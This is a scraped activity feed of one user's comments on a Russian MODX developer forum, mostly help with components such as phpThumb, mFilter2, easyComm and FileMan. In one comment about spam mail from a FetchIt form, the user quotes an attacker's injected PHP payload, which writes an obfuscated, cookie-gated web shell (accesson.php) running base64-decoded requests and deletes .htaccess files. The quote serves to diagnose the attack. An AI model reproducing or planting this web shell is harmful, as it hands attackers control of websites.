19 марта 2024, 14:22 8 лет, 8 месяцев и 19 дней прошло с момента создания этой публикации =) Вопросы / Помогите, бесконечно сохранение ресурсов. 21 0
12 марта 2024, 14:47 и в src и в dst что-то типа (только не помню MODX_BASE_PATH слеш содержит уже или нет). $src = MODX_BASE_PATH . '/assets/images/image.jpg'; $dst = MODX_BASE_PATH . '/assets/images/image-new.jpg'; Вопросы / phpthumbon в сниппете php 4 0
12 марта 2024, 14:35 как-то так: // подключаем phpthumb require_once MODX_CORE_PATH.'model/phpthumb/phpthumb.class.php'; // создаем объект phpThumb $phpThumb = new phpThumb(); // задаем имя файла $phpThumb->setSourceFilename($src); // параметры $phpThumb->setParameter('w', 100); $phpThumb->setParameter('h', 150); // генерируем файл if ($phpThumb->GenerateThumbnail()){ if ($phpThumb->RenderToFile($dst)) { // превью сохранено! } } Вопросы / phpthumbon в сниппете php 4 +1
12 марта 2024, 14:00 большой вопрос — почему в почту попадает вот это а не содержимое чанка письма… Вопросы / На почту приходят непонятные письма с формы FetchIt. 11 0
12 марта 2024, 12:42 Хорошо бы отловить запросы на сервер и данные в них, которые приводят к такому поведению. А так да, прям попыточка взломать всё. К примеру видны попытки вытащить таблицу пользователей, попытки создания сниппетов, типа такого $s = $_SERVER['DOCUMENT_ROOT'].'/assets/';$s1 = $s.'images/';mkdir($s1,511);$fh = fopen($s1.'accesson.php', 'w');fwrite($fh, '<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>');fclose($fh);unlink($s.'.htaccess');unlink($s1.'.htaccess');беглый поиск по «accesson.php» показывает, что так ломали сайты на modx еще с версии 2,6,4, когда были уязвимости найдены… Вопросы / На почту приходят непонятные письма с формы FetchIt. 11 0
12 марта 2024, 12:36 Касательно второй строчки здесь 2. Цвет — Красный — Синий, Красный — Синийстоит посмотреть на параметр values_delimeter сниппета mFilter2. В нем по умолчанию запятая, и такая же запятая стоит в значении опции. Я в этом параметре обычно указываю точку с запятой. Вопросы / Фильтрация по списку с автодополненинем 6 0
11 марта 2024, 23:09 Все правильно работает. Допустим 2 товара: 1. Размер — XL, Цвет — Синий, Красный. 1. Размер — XL, Цвет — Синий. Ты ставишь в фильтре размер XL — видим оба товара, т.к. они есть размера XL. Добавляем галочку Синий — видим оба товара, т.к. они есть размера XL и синего цвета. Ставим галочку Красный — видим оба товара, т.к. по логике компонента мы хотим увидеть товары, которые размера XL, а цвет нас интересует и синий и красный, т.е. любой из них (синий ИЛИ красный). Если нужно в 3м случае видеть только товар 1 — то придется дописывать свою логику, mFilter2 так не может. Но! тогда представь, что будет, если у тебя есть еще Товар 3 размера L. В этом случае, ты выбираешь себе джинсы, но знаешь, что на тебе хорошо сидит то L, то XL, смотря от бренда. Ставишь обе галочки — и что? Товаров будет 0, вряд ли ты этого ждал. Вопросы / Фильтрация по списку с автодополненинем 6 0
11 марта 2024, 19:19 Привет! Ну как-то сказать, чтобы intl-tel-input записывал номер телефона в скрытое поле user_contacts. Родное поле (которое в стандартной форме easyComm есть) убрать конечно же, чтобы не дублировалось. Не забыть указать поле user_contacts в параметре allowedFields сниппета ecForm. Новые дополнения и их версии / easyComm - комментарии, отзывы, вопросы на сайте 536 +1
09 марта 2024, 12:07 Кто-то еще собирается, кроме Ильи? Я в раздумьях, в целом не очень далеко от Белграда нахожусь сейчас) но мое не очень знание английского останавливает. Новости и события / MODX Meetup 2024 в Белграде 21 +1
05 марта 2024, 13:00 Это не очень то наверное сложно, просто не совсем понятно, насколько это нужно… в следующем обновлении может быть Новые дополнения и их версии / FileMan - прикрепление файлов к ресурсам для MODX 3 74 0
05 марта 2024, 11:02 Её просто добавили руками (поэтому фиолетовая), никто не гарантирует, что она еще при этом должна работать) Среди стандартных настроек такой нет. Новые дополнения и их версии / FileMan - прикрепление файлов к ресурсам для MODX 3 74 0
04 марта 2024, 10:56 Не вижу в настройках источника файлов upload_maxsize. Да и судя по коды (ссылку давал выше) — оно не будет учитываться. Этот функционал, вероятно, нужно дописывать самостоятельно (имею ввиду в компоненте), как это сделано, к примеру, в галерее miniShop2 Новые дополнения и их версии / FileMan - прикрепление файлов к ресурсам для MODX 3 74 0
03 марта 2024, 17:34 Ну они плавающие, я не знаю, в чем причины. Я провел некоторую оптимизацию компонента, может что-то и исправилось Новые дополнения и их версии / Еще немного про сессии MODX, компонент smartSessions 76 0
01 марта 2024, 15:41 А что за настройка то у источника файлов? Вот посмотри код, я вижу что проверка внутри объекта modMediaSource и там проверяется именно системная настройка upload_maxsize Новые дополнения и их версии / FileMan - прикрепление файлов к ресурсам для MODX 3 74 0
29 февраля 2024, 14:56 А баг ли это?.. какая настройка важнее, глобальная или то, что указано в источнике файлов? Новые дополнения и их версии / FileMan - прикрепление файлов к ресурсам для MODX 3 74 0
29 февраля 2024, 14:55 Да, выпустил обновку. TODO в коде оказывается с самого начала на этот момент висел. Новые дополнения и их версии / Еще немного про сессии MODX, компонент smartSessions 76 +1
28 февраля 2024, 11:16 Сначала нужно вернуть настройку session_handler_class на modSessionHandler, и только потом удалять компонент, так должно быть все нормально Новые дополнения и их версии / Еще немного про сессии MODX, компонент smartSessions 76 0
27 февраля 2024, 20:29 У pdoResources есть параметры prepareTVs и processTVs. msProducts просто тащит то, что записано в БД, а там путь относительно источника файлов. Вопросы / Почему путь к изображению не полный в msProducts? 3 0
27 февраля 2024, 10:48 странные ошибки база то в порядке? таблица жива? Новые дополнения и их версии / Еще немного про сессии MODX, компонент smartSessions 76 0
27 февраля 2024, 10:48 честно говоря не помню, там и есть то пара их: что вообще включено, и делитель, у меня наверное 1/100 стоит Новые дополнения и их версии / Еще немного про сессии MODX, компонент smartSessions 76 0
Gallery3x 3.4.0 - вставка галерей прямо из визуального редактора (CKEditor и TinyMCE RTE) Здравствуйте. Есть консольный скрипт Вот почитайте: docs.ivan345.com/books/gallery3x/page/import-ms2galleryphp
[mSync] Новая версия синхронизации с 1С Всем привет. В какой то момент начали сыпаться ошибки: Error 23000 executing statement: INSERT INTO `modx_msync_products` (`product_id`, `uuid_1c`) VALUES ...
Checkbox для модального окна Они не отключены, они платные, чтобы писали только те, кому действительно очень надо. Когда бесплатно люди начинают думать, что я им должен.
[SendIt 2.6.0] Анализ поведения пользователя для защиты от спама (невидимая капча)... Здравствуйте. Делаю личный кабинет на Sendit и со сбросом пароля возникли проблемы. Можете подсказать, в чем ошибка? Список вопросов в одноименном разделе на modx.pro пока пуст, и,...
Minishop + честный знак (продажа маркированной продукции) В нашем случае мы решили убрать всю логику по маркировке сайта.
MiniShop3 - Не выводятся товары дополнительных категорий @SYAN ваша указанная проблема исправлена еще до версии 1.2.3 @Павлик Мышкин завел: github.com/modx-pro/MiniShop3/issues/480 github.com/modx-pro/MiniShop3/issues/481Исправим в б...
MobileDetect 2.0.0-pl функция "планшеты как стандартные браузеры не работает" в 2.1.0-pl баг исправлен
А так да, прям попыточка взломать всё.
К примеру видны попытки вытащить таблицу пользователей, попытки создания сниппетов, типа такого
беглый поиск по «accesson.php» показывает, что так ломали сайты на modx еще с версии 2,6,4, когда были уязвимости найдены…
стоит посмотреть на параметр values_delimeter сниппета mFilter2. В нем по умолчанию запятая, и такая же запятая стоит в значении опции. Я в этом параметре обычно указываю точку с запятой.
Допустим 2 товара:
1. Размер — XL, Цвет — Синий, Красный.
1. Размер — XL, Цвет — Синий.
Ты ставишь в фильтре размер XL — видим оба товара, т.к. они есть размера XL.
Добавляем галочку Синий — видим оба товара, т.к. они есть размера XL и синего цвета.
Ставим галочку Красный — видим оба товара, т.к. по логике компонента мы хотим увидеть товары, которые размера XL, а цвет нас интересует и синий и красный, т.е. любой из них (синий ИЛИ красный).
Если нужно в 3м случае видеть только товар 1 — то придется дописывать свою логику, mFilter2 так не может.
Но! тогда представь, что будет, если у тебя есть еще Товар 3 размера L. В этом случае, ты выбираешь себе джинсы, но знаешь, что на тебе хорошо сидит то L, то XL, смотря от бренда. Ставишь обе галочки — и что? Товаров будет 0, вряд ли ты этого ждал.
Не забыть указать поле user_contacts в параметре allowedFields сниппета ecForm.
Да и судя по коды (ссылку давал выше) — оно не будет учитываться. Этот функционал, вероятно, нужно дописывать самостоятельно (имею ввиду в компоненте), как это сделано, к примеру, в галерее miniShop2
Вот посмотри код, я вижу что проверка внутри объекта modMediaSource и там проверяется именно системная настройка upload_maxsize
msProducts просто тащит то, что записано в БД, а там путь относительно источника файлов.
база то в порядке? таблица жива?